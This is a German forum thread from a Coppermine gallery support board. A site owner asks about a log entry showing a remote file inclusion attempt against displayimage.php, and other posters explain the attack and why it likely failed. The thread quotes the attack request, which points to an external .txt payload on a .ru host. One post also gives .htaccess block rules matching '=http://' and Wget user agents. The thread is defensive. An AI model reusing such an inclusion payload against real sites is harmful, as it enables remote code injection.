über displayimage.php Hackversuch?

[Mikado]

Hallo,
ich habe vor einiger Zeit auf die 1.4.13 upgedatet und habe heute in den Logfiles folgendes entdeckt:
/displayimage.php?album=http://xxxx.ru/images/cs.txt? HTTP/1.1" 200 10236 "-" "Wget/1.1
Normalerweise sagt doch der Status 200 aus, das die Datei erfolgreich versendet wurde, oder sehe ich da etwas falsch?
Was kann da falsch gelaufen sein?
Viele Grüße
Petra

[Stramm]

Der Status 200 bezieht sich auf die 'website' displayimage.php, nicht auf die 'environment variable', den 'QUERY_STRING' (der Teil nach ?). Dieser wird dann vom Script, Programm interpretiert. Die Website wurde jedoch geladen und der Server meldet logischerweise Erfolg


Im gegebenen Beispiel würde im Log 200 (OK) stehen und im Browser irgendetwas mit 'Album nicht gefunden'. Schliesslich wurde ja auch kein album gültiges Album angegeben.

Wenn es diesbezüglich mal Probleme gab, dann vor 1.3.x Zeiten.

[Joachim Müller]

Wie von Stramm bemerkt zeigt der Statuscode nicht an, ob ein Hackversuch erfolgreich war. Die Art der Injektion von Fremdcode wie sie der Angreifer wohl versucht hat ist bei Coppermine so nicht möglich, d.h. der Hackingversuch war wohl erfolglos. Ich gehe davon aus, dass da ein Bot Angriffsmuster wahllos auf Seiten loslässt. Stelle sicher, dass Du die neueste Version von Coppermine (cpg1.4.13) verwendest, dann solltest Du auf der sicheren Seite sein.

[Mikado]

Vielen Dank, dann bin ich beruhigt. Ja, ich habe die neueste Version.
Viele Grüße
Petra

[wewo]

Hallo,

solche Angriffe hatte ich auch schön öfters. Das sind vermutlich Scripkidis, die versuchen den Server zu hacken.

Diese Aufrufe versuchen Fehler (fehlerhafte Verarbeitung übergebener Parameter) in den PHP-Scripten auszunutzen, um dadurch fremden PHP-Code (übergeben durch die .txt Datei der übergebenen URI) einzuschmuggeln und auszuführen (und damit die Seiten zu manipulieren).
Über die PHP-Option register_globals kann man Fehler in der Parameterverarbeitung teilweise beheben und über die PHP-Option allow_url_fopen kann man verhindern, dass externe Dateien per fopen(), include() und require() eingebunden werden können.

Da ich aber die Servereinstellung so brauche wie sie sind, habe ich das Problem mit einem .htaccess gelöst

RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)=http://(.*) [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*libwww.*$  [OR]  (hier hab ich noch einen Refferer, über den diese Angriffe bei mir ausgefährt werden, ausgeschlossen.)
RewriteCond %{HTTP_USER_AGENT} ^.*Wget.*$            (hier das Ganze mit Wget)
RewriteRule !error403\.htm - [C]
RewriteRule ^ /error403.htm

Wird nun ein solcher Angriff gestartet, leitet das .htaccess einfach auf eine vorher angelegte Fehlerseite...

Gruß
wewo

[Joachim Müller]

Danke für Deinen Beitrag. Ich würde mich nicht auf Tricksereien mit .htaccess alleine verlassen: Skripte, die register_globals=on brauchen (Coppermine braucht das nicht) sind fragwürdig - ich würde sie nicht auf meinem Server einsetzen, da sie beweisen, dass der/die Programmierer ihren Job nicht verstehen und daher wohl auch anderweitig unnötige Fehlerquellen eingebaut haben. Über allow_url_fopen kann man sich streiten: wenn man es sauber macht, dann kann nichts damit passieren. Viele Webhosts haben das Feature aber deaktiviert als Reaktion auf eine Anzahl von Skripten, die eben nicht sauber damit umgehen. Blindlings eine Datei zu inkludieren, deren Pfad aus der Benutzereingabe resultiert ist eine heisse Kiste, die von uns bewusst umgangen wird, indem wir an relativ vielen Stellen mit hard-codierten Pfaden arbeiten. Damit verliert man ein bißchen Flexibilität, gewinnt aber Sicherheit.
Coppermine braucht allow_url_fopen übrigens nur für versioncheck.php und fällt auf die lokale Datei zurück, wenn das deaktiviert ist.